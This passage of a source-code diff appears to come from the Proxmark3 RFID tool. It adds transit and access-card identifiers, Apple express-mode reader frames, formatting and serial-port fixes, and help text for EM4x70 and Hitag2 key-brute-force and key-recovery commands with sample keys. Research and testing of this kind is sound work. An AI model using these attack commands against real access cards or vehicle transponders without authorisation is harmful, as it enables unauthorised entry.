"Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F21390",
|
||||
"Vendor": "Multiple NZ Transit Agencies via Otago Regional Council",
|
||||
"Country": "NZ",
|
||||
"Name": "Bee Card [DUD]",
|
||||
"Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F213A0",
|
||||
"Vendor": "Rhode Island Public Transport Authority [RIPTA] via INIT",
|
||||
"Country": "US",
|
||||
"Name": "Wave Smart Card [PVD]",
|
||||
"Description": "PVD Wave Smart Card",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "F213F0",
|
||||
"Vendor": "Puget Sound Transit Agencies via Vix Technologies",
|
||||
"Country": "US",
|
||||
"Name": "ORCA [SEA]",
|
||||
"Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "FF30FF",
|
||||
"Vendor": "Metrolinx",
|
||||
"Country": "CA",
|
||||
"Name": "PRESTO Card [YYZ/YHM/YOW]",
|
||||
"Description": "FID 08: Standard Data",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "FFFFFF",
|
||||
"Vendor": "Reserved for Future Use",
|
||||
"Country": "",
|
||||
"Name": "Reserved for Future Use",
|
||||
"Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA",
|
||||
"Type": "transport"
|
||||
}
|
||||
]
|
||||
|
|
|
@ -2284,7 +2284,7 @@
|
|||
"Vendor": "Apple",
|
||||
"Country": "",
|
||||
"Name": "Apple Home Key Framework",
|
||||
"Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)",
|
||||
"Description": "Home Key configuration applet. Used for attestation exchange",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
|
@ -2292,7 +2292,39 @@
|
|||
"Vendor": "Apple",
|
||||
"Country": "",
|
||||
"Name": "Apple Home Key",
|
||||
"Description": "NFC Home Key for select HomeKit-compatible locks",
|
||||
"Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "A0000008580202",
|
||||
"Vendor": "Apple",
|
||||
"Country": "",
|
||||
"Name": "Apple Access Key Framework",
|
||||
"Description": "Access Key configuration applet. Used for attestation exchange",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A0000008580201",
|
||||
"Vendor": "Apple",
|
||||
"Country": "",
|
||||
"Name": "Apple Access Key",
|
||||
"Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
"AID": "A000000909ACCE5502",
|
||||
"Vendor": "Connectivity Standards Alliance (CSA)",
|
||||
"Country": "",
|
||||
"Name": "Aliro Framework",
|
||||
"Description": "Used during key provisioning, configuration, attestation exchange",
|
||||
"Type": ""
|
||||
},
|
||||
{
|
||||
"AID": "A000000909ACCE5501",
|
||||
"Vendor": "Connectivity Standards Alliance (CSA)",
|
||||
"Country": "",
|
||||
"Name": "Aliro",
|
||||
"Description": "",
|
||||
"Type": "access"
|
||||
},
|
||||
{
|
||||
|
@ -2430,5 +2462,13 @@
|
|||
"Name": "CEPAS",
|
||||
"Description": "Transit and e-money card used in Singapore",
|
||||
"Type": "transport"
|
||||
},
|
||||
{
|
||||
"AID": "A0000004040125",
|
||||
"Vendor": "Ile-de-France Mobilites",
|
||||
"Country": "France",
|
||||
"Name": "Navigo",
|
||||
"Description": "CALYPSO-based transit card",
|
||||
"Type": "transport"
|
||||
}
|
||||
]
|
||||
|
|
126
client/resources/ecp_taxonomy.json
Normal file
126
client/resources/ecp_taxonomy.json
Normal file
|
@ -0,0 +1,126 @@
|
|||
{
|
||||
"versions": {
|
||||
"01": {
|
||||
"tci": {
|
||||
"000000": {
|
||||
"id": "tci-vas-or-pay",
|
||||
"name": "VAS or payment",
|
||||
"description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment"
|
||||
},
|
||||
"000001": {
|
||||
"id": "tci-vas-and-pay",
|
||||
"name": "VAS and payment",
|
||||
"description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap"
|
||||
},
|
||||
"000002": {
|
||||
"id": "tci-vas-only",
|
||||
"name": "VAS only",
|
||||
"description": "Used when a reader requests passes only"
|
||||
},
|
||||
"000003": {
|
||||
"id": "tci-pay-only",
|
||||
"name": "VAS only",
|
||||
"description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards"
|
||||
},
|
||||
"cf0000": {
|
||||
"id": "tci-ignore",
|
||||
"name": "Ignore",
|
||||
"description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field"
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
"02": {
|
||||
"types": {
|
||||
"01": {
|
||||
"id": "terminal-type-transit",
|
||||
"name": "Transit",
|
||||
"description": "Used by express-mode enabled transit terminals",
|
||||
|
||||
"subtypes": {
|
||||
"00": {
|
||||
"id": "terminal-subtype-default",
|
||||
"name": "Default subtype",
|
||||
"description": "",
|
||||
|
||||
"tci": {
|
||||
"030400": {
|
||||
"id": "tci-hop-fastpass",
|
||||
"name": "HOP Fastpass",
|
||||
"description": ""
|
||||
},
|
||||
"030002": {
|
||||
"id": "tci-transit-for-london",
|
||||
"name": "TFL",
|
||||
"description": "First publically known TCI, found by Proxmark community member"
|
||||
},
|
||||
"030001": {
|
||||
"id": "tci-wmata",
|
||||
"name": "SmartTrip",
|
||||
"description": ""
|
||||
},
|
||||
"030005": {
|
||||
"id": "tci-la-tapp",
|
||||
"name": "LA Tap",
|
||||
"description": ""
|
||||
},
|
||||
"030007": {
|
||||
"id": "tci-clipper",
|
||||
"name": "Clipper",
|
||||
"description": ""
|
||||
},
|
||||
"03095a": {
|
||||
"id": "tci-navigo",
|
||||
"name": "Navigo",
|
||||
"description": ""
|
||||
}
|
||||
},
|
||||
|
||||
"data": {
|
||||
"length": 5,
|
||||
"name": "Fallback EMV payment networks",
|
||||
"description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"02": {
|
||||
"id": "terminal-type-access",
|
||||
"name": "Access",
|
||||
"description": "Used by express-mode enabled access and key readers",
|
||||
|
||||
"subtypes": {
|
||||
"00": {
|
||||
"id": "terminal-subtype-venue",
|
||||
"name": "Venue",
|
||||
"description": "Used by following venues: Offices, Parks, Universities",
|
||||
"tci": {
|
||||
"no-info-add-if-found": ""
|
||||
}
|
||||
},
|
||||
"06": {
|
||||
"id": "terminal-subtype-home-key",
|
||||
"name": "Home Key",
|
||||
"description": "Used by home key",
|
||||
"tci": {
|
||||
"021100": {
|
||||
"id": "tci-homekey",
|
||||
"name": "Home Key",
|
||||
"description": ""
|
||||
}
|
||||
}
|
||||
},
|
||||
"09": {
|
||||
"id": "terminal-subtype-automotive-pairing",
|
||||
"name": "Automotive",
|
||||
"description": "Used by cars for access and setup",
|
||||
"tci": {
|
||||
"no-info-add-if-found": ""
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -55,6 +55,11 @@
|
|||
"name": "Transit: Clipper",
|
||||
"description": ""
|
||||
},
|
||||
{
|
||||
"value": "6a02c8010003095a0000000000",
|
||||
"name": "Transit: Navigo",
|
||||
"description": ""
|
||||
},
|
||||
|
||||
{
|
||||
"value": "6a02c3020002ffff",
|
||||
|
|
|
@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) {
|
|||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"),
|
||||
arg_lit0("t", "test", "perform self test"),
|
||||
arg_lit0(NULL, "test", "perform self tests"),
|
||||
arg_param_end
|
||||
};
|
||||
CLIExecWithReturn(ctx, Cmd, argtable, false);
|
||||
|
@ -3683,7 +3683,7 @@ static int CmdTestSaveState8(const char *Cmd) {
|
|||
|
||||
size_t length = (rand() % 256);
|
||||
PrintAndLogEx(DEBUG, "Testing with length = %llu", length);
|
||||
uint8_t *srcBuffer = (uint8_t*)calloc(length + 1, sizeof(uint8_t));
|
||||
uint8_t *srcBuffer = (uint8_t *)calloc(length + 1, sizeof(uint8_t));
|
||||
|
||||
//Set up the source buffer with random data
|
||||
for (int i = 0; i < length; i++) {
|
||||
|
@ -3706,7 +3706,7 @@ static int CmdTestSaveState8(const char *Cmd) {
|
|||
} else {
|
||||
PrintAndLogEx(DEBUG, _GREEN_("Lengths match!") "\n");
|
||||
}
|
||||
|
||||
|
||||
for (size_t i = 0; i < returnedLength; i++) {
|
||||
if (srcBuffer[i] != destBuffer[i]) {
|
||||
PrintAndLogEx(FAILED, "Buffers don't match at index %lu!, Expected %i, got %i", i, srcBuffer[i], destBuffer[i]);
|
||||
|
|
|
@ -545,7 +545,7 @@ static int CmdEM4x70Brute(const char *Cmd) {
|
|||
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80 (pm3 test key)\n"
|
||||
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 --> bruteforcing key bits k79...k64 (research paper key)\n"
|
||||
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 --> bruteforcing key bits k63...k48 (autorecovery test key)\n"
|
||||
);
|
||||
);
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
arg_lit0(NULL, "par", "Add parity bit when sending commands"),
|
||||
|
@ -1505,22 +1505,22 @@ static int CmdEM4x70Calc(const char *Cmd) {
|
|||
opts.key.k[ 0], opts.key.k[ 1], opts.key.k[ 2], opts.key.k[ 3],
|
||||
opts.key.k[ 4], opts.key.k[ 5], opts.key.k[ 6], opts.key.k[ 7],
|
||||
opts.key.k[ 8], opts.key.k[ 9], opts.key.k[10], opts.key.k[11]
|
||||
);
|
||||
);
|
||||
snprintf(
|
||||
rnd_string, 15,
|
||||
"%02X%02X%02X%02X%02X%02X%02X",
|
||||
opts.rn.rn[0], opts.rn.rn[1], opts.rn.rn[2], opts.rn.rn[3], opts.rn.rn[4], opts.rn.rn[5], opts.rn.rn[6]
|
||||
);
|
||||
);
|
||||
snprintf(
|
||||
frn_string, 9,
|
||||
"%02X%02X%02X%02X",
|
||||
data.frn.frn[0], data.frn.frn[1], data.frn.frn[2], data.frn.frn[3]
|
||||
);
|
||||
);
|
||||
snprintf(
|
||||
grn_string, 7,
|
||||
"%02X%02X%02X",
|
||||
data.grn.grn[0], data.grn.grn[1], data.grn.grn[2]
|
||||
);
|
||||
);
|
||||
}
|
||||
PrintAndLogEx(SUCCESS, "KEY: %s RND: %s FRN: " _GREEN_("%s") " GRN: " _GREEN_("%s"), key_string, rnd_string, frn_string, grn_string);
|
||||
return PM3_SUCCESS;
|
||||
|
|
|
@ -766,7 +766,7 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize,
|
|||
void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) {
|
||||
}
|
||||
|
||||
static const char* identify_transponder_hitag2(uint32_t uid) {
|
||||
static const char *identify_transponder_hitag2(uint32_t uid) {
|
||||
|
||||
switch (uid) {
|
||||
case 0x53505910:
|
||||
|
@ -858,10 +858,10 @@ static int CmdLFHitagInfo(const char *Cmd) {
|
|||
static int CmdLFHitagReader(const char *Cmd) {
|
||||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "lf hitag reader",
|
||||
"Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n",
|
||||
"lf hitag reader\n"
|
||||
"lf hitag reader -@ -> Continuous mode"
|
||||
);
|
||||
"Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n",
|
||||
"lf hitag reader\n"
|
||||
"lf hitag reader -@ -> Continuous mode"
|
||||
);
|
||||
|
||||
void *argtable[] = {
|
||||
arg_param_begin,
|
||||
|
@ -2315,11 +2315,11 @@ static int CmdLFHitag2Crack2(const char *Cmd) {
|
|||
http://www.mikrocontroller.net/attachment/102194/hitag2.c
|
||||
Written by "I.C. Wiener 2006-2007"
|
||||
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
|
||||
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
|
||||
Random = 65 6E 45 72 - Random IV, transmitted in clear
|
||||
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key
|
||||
Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear
|
||||
Random = 65 6E 45 72 - Random IV, transmitted in clear
|
||||
~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream
|
||||
|
||||
The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6".
|
||||
The inverse of the first 4 bytes is sent to the tag to authenticate.
|
||||
|
|
|
@ -646,7 +646,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr
|
|||
// handle partial bytes. The parity array[0] is used to store number of left over bits from NBYTES
|
||||
// This part prints the number of bits in the trace entry for hitag.
|
||||
uint8_t nbits = parityBytes[0];
|
||||
|
||||
|
||||
// only apply this to lesser than one byte
|
||||
if (data_len == 1) {
|
||||
|
||||
|
|
|
@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
|
|||
txBufferNG.pre.ng = ng;
|
||||
txBufferNG.pre.length = len;
|
||||
txBufferNG.pre.cmd = cmd;
|
||||
if (len > 0 && data)
|
||||
if (len > 0 && data) {
|
||||
memcpy(&txBufferNG.data, data, len);
|
||||
}
|
||||
|
||||
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
|
||||
uint8_t first = 0, second = 0;
|
||||
|
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
|
|||
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
|
||||
|
||||
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
|
||||
|
||||
rx.magic = rx_raw.pre.magic;
|
||||
uint16_t length = rx_raw.pre.length;
|
||||
rx.ng = rx_raw.pre.ng;
|
||||
rx.status = rx_raw.pre.status;
|
||||
rx.cmd = rx_raw.pre.cmd;
|
||||
|
||||
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
|
||||
|
||||
if (length > PM3_CMD_DATA_SIZE) {
|
||||
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
|
||||
error = true;
|
||||
|
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
|
|||
if ((!error) && (length > 0)) { // Get the variable length payload
|
||||
|
||||
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
|
||||
|
||||
if ((res != PM3_SUCCESS) || (rxlen != length)) {
|
||||
|
||||
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
|
||||
error = true;
|
||||
|
||||
} else {
|
||||
|
||||
if (rx.ng) { // Received a valid NG frame
|
||||
|
||||
memcpy(&rx.data, &rx_raw.data, length);
|
||||
rx.length = length;
|
||||
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
|
||||
ACK_received = true;
|
||||
}
|
||||
|
||||
} else {
|
||||
uint64_t arg[3];
|
||||
if (length < sizeof(arg)) {
|
||||
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
|
||||
error = true;
|
||||
}
|
||||
|
||||
if (!error) { // Received a valid MIX frame
|
||||
|
||||
memcpy(arg, &rx_raw.data, sizeof(arg));
|
||||
rx.oldarg[0] = arg[0];
|
||||
rx.oldarg[1] = arg[1];
|
||||
rx.oldarg[2] = arg[2];
|
||||
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
|
||||
rx.length = length - sizeof(arg);
|
||||
|
||||
if (rx.cmd == CMD_ACK) {
|
||||
ACK_received = true;
|
||||
}
|
||||
|
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
|
|||
}
|
||||
}
|
||||
} else if ((!error) && (length == 0)) { // we received an empty frame
|
||||
if (rx.ng)
|
||||
|
||||
if (rx.ng) {
|
||||
rx.length = 0; // set received length to 0
|
||||
else { // old frames can't be empty
|
||||
} else { // old frames can't be empty
|
||||
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
|
||||
error = true;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (!error) { // Get the postamble
|
||||
|
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
|
|||
|
||||
if (!error) { // Check CRC, accept MAGIC as placeholder
|
||||
rx.crc = rx_raw.foopost.crc;
|
||||
|
||||
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
|
||||
|
||||
uint8_t first, second;
|
||||
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
|
||||
|
||||
if ((first << 8) + second != rx.crc) {
|
||||
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
|
||||
error = true;
|
||||
|
|
|
@ -613,13 +613,13 @@ size_t restore_buffer8(buffer_savestate_t saveState, uint8_t *dest) {
|
|||
// Unpack the array
|
||||
for (size_t i = 0; i < saveState.bufferSize; i++) {
|
||||
dest[index++] = saveState.buffer[i];
|
||||
if(index == length) break;
|
||||
if (index == length) break;
|
||||
dest[index++] = (saveState.buffer[i] >> 8) & 0xFF;
|
||||
if(index == length) break;
|
||||
if (index == length) break;
|
||||
dest[index++] = (saveState.buffer[i] >> 16) & 0xFF;
|
||||
if(index == length) break;
|
||||
if (index == length) break;
|
||||
dest[index++] = (saveState.buffer[i] >> 24) & 0xFF;
|
||||
if(index == length) break;
|
||||
if (index == length) break;
|
||||
}
|
||||
|
||||
return index;
|
||||
|
|
|
@ -623,6 +623,7 @@ const static vocabulary_t vocabulary[] = {
|
|||
{ 0, "lf em 4x70 auth" },
|
||||
{ 0, "lf em 4x70 setpin" },
|
||||
{ 0, "lf em 4x70 setkey" },
|
||||
{ 1, "lf em 4x70 calc" },
|
||||
{ 1, "lf em 4x70 recover" },
|
||||
{ 0, "lf em 4x70 autorecover" },
|
||||
{ 1, "lf fdxb help" },
|
||||
|
@ -650,6 +651,7 @@ const static vocabulary_t vocabulary[] = {
|
|||
{ 1, "lf hitag help" },
|
||||
{ 1, "lf hitag list" },
|
||||
{ 0, "lf hitag info" },
|
||||
{ 0, "lf hitag reader" },
|
||||
{ 1, "lf hitag test" },
|
||||
{ 0, "lf hitag dump" },
|
||||
{ 0, "lf hitag read" },
|
||||
|
|
|
@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
|
|||
return INVALID_SERIAL_PORT;
|
||||
}
|
||||
|
||||
// Flush all lingering data that may exist
|
||||
tcflush(sp->fd, TCIOFLUSH);
|
||||
|
||||
// Duplicate the (old) terminal info struct
|
||||
sp->tiNew = sp->tiOld;
|
||||
|
||||
// Configure the serial port
|
||||
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD;
|
||||
// Configure the serial port.
|
||||
// fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
|
||||
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
|
||||
sp->tiNew.c_iflag = IGNPAR;
|
||||
sp->tiNew.c_oflag = 0;
|
||||
sp->tiNew.c_lflag = 0;
|
||||
|
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
|
|||
// Block until a timer expires (n * 100 mSec.)
|
||||
sp->tiNew.c_cc[VTIME] = 0;
|
||||
|
||||
// more configurations
|
||||
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
|
||||
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
|
||||
sp->tiNew.c_cc[VERASE] = 0; /* del */
|
||||
sp->tiNew.c_cc[VKILL] = 0; /* @ */
|
||||
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
|
||||
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
|
||||
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
|
||||
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
|
||||
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
|
||||
|
||||
// Try to set the new terminal info struct
|
||||
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
|
||||
PrintAndLogEx(ERR, "error: UART set terminal info attribute");
|
||||
|
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
|
|||
// Set port speed (Input and Output)
|
||||
cfsetispeed(&ti, stPortSpeed);
|
||||
cfsetospeed(&ti, stPortSpeed);
|
||||
|
||||
// flush
|
||||
tcflush(spu->fd, TCIOFLUSH);
|
||||
|
||||
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
|
||||
if (result)
|
||||
if (result) {
|
||||
g_conn.uart_speed = uiPortSpeed;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
|
|
@ -154,7 +154,7 @@ static bool Pack_indasc27(wiegand_card_t *card, wiegand_message_t *packed, bool
|
|||
if (card->OEM > 0) return false; // Not used in this format
|
||||
|
||||
packed->Length = 27;
|
||||
set_nonlinear_field(packed, card->FacilityCode, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
|
||||
set_nonlinear_field(packed, card->FacilityCode, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
|
||||
set_nonlinear_field(packed, card->CardNumber, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
|
||||
if (preamble)
|
||||
return add_HID_header(packed);
|
||||
|
@ -166,7 +166,7 @@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) {
|
|||
|
||||
if (packed->Length != 27) return false; // Wrong length? Stop here.
|
||||
|
||||
card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
|
||||
card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22});
|
||||
card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23});
|
||||
return true;
|
||||
}
|
||||
|
@ -1178,7 +1178,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr
|
|||
|
||||
set_linear_field(packed, card->FacilityCode, 5, 10);
|
||||
set_linear_field(packed, card->CardNumber, 15, 22);
|
||||
set_linear_field(packed, card->IssueLevel, 1, 4);
|
||||
set_linear_field(packed, card->OEM, 1, 4);
|
||||
|
||||
set_bit_by_position(packed,
|
||||
evenparity32(get_linear_field(packed, 1, 18))
|
||||
|
@ -1257,7 +1257,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
|
|||
if (card->IssueLevel > 0) return false; // Not used in this format
|
||||
if (card->OEM > 0x7F) return false; // Not used in this format
|
||||
|
||||
packed->Length = 39; // Set number of bits
|
||||
packed->Length = 40; // Set number of bits
|
||||
|
||||
set_linear_field(packed, card->OEM, 0, 7);
|
||||
|
||||
|
@ -1277,7 +1277,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea
|
|||
static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) {
|
||||
memset(card, 0, sizeof(wiegand_card_t));
|
||||
|
||||
if (packed->Length != 39) return false; // Wrong length? Stop here.
|
||||
if (packed->Length != 40) return false; // Wrong length? Stop here.
|
||||
|
||||
card->OEM = get_linear_field(packed, 0, 7);
|
||||
card->FacilityCode = get_linear_field(packed, 7, 12);
|
||||
|
|
|
@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) {
|
|||
if (data->Length > 84 || data->Length == 0)
|
||||
return false;
|
||||
|
||||
if (data->Length == 48) {
|
||||
data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit
|
||||
return true;
|
||||
}
|
||||
if (data->Length >= 64) {
|
||||
data->Top |= 0x09e00000; // Extended-length header
|
||||
data->Top |= 1U << (data->Length - 64); // leading 1: start bit
|
||||
|
|
|
@ -9016,11 +9016,29 @@
|
|||
],
|
||||
"usage": "lf em 4x70 autorecover [-h] [--par] --rnd <hex> --frn <hex> --grn <hex>"
|
||||
},
|
||||
"lf em 4x70 calc": {
|
||||
"command": "lf em 4x70 calc",
|
||||
"description": "Calculates both the reader and tag challenge for a user-provided key and rnd.",
|
||||
"notes": [
|
||||
"lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)",
|
||||
"lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)",
|
||||
"lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)"
|
||||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
"-h, --help This help",
|
||||
"--key <hex> Key 96-bit as 12 hex bytes",
|
||||
"--rnd <hex> 56-bit random value sent to tag for authentication"
|
||||
],
|
||||
"usage": "lf em 4x70 calc [-h] --key <hex> --rnd <hex>"
|
||||
},
|
||||
"lf em 4x70 help": {
|
||||
"command": "lf em 4x70 help",
|
||||
"description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
|
||||
"description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'",
|
||||
"notes": [
|
||||
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80"
|
||||
"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)",
|
||||
"lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)",
|
||||
"lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)"
|
||||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
|
@ -9052,7 +9070,8 @@
|
|||
"description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.",
|
||||
"notes": [
|
||||
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)",
|
||||
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)"
|
||||
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)",
|
||||
"lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)"
|
||||
],
|
||||
"offline": true,
|
||||
"options": [
|
||||
|
@ -9518,7 +9537,7 @@
|
|||
"-h, --help This help",
|
||||
"--nrar <hex> specify nonce / answer as 8 hex bytes"
|
||||
],
|
||||
"usage": "lf hitag lookup [-h] [--nrar <hex>]"
|
||||
"usage": "lf hitag crack2 [-h] [--nrar <hex>]"
|
||||
},
|
||||
"lf hitag dump": {
|
||||
"command": "lf hitag dump",
|
||||
|
@ -9653,6 +9672,20 @@
|
|||
],
|
||||
"usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]"
|
||||
},
|
||||
"lf hitag reader": {
|
||||
"command": "lf hitag reader",
|
||||
"description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed",
|
||||
"notes": [
|
||||
"lf hitag reader",
|
||||
"lf hitag reader -@ -> Continuous mode"
|
||||
],
|
||||
"offline": false,
|
||||
"options": [
|
||||
"-h, --help This help",
|
||||
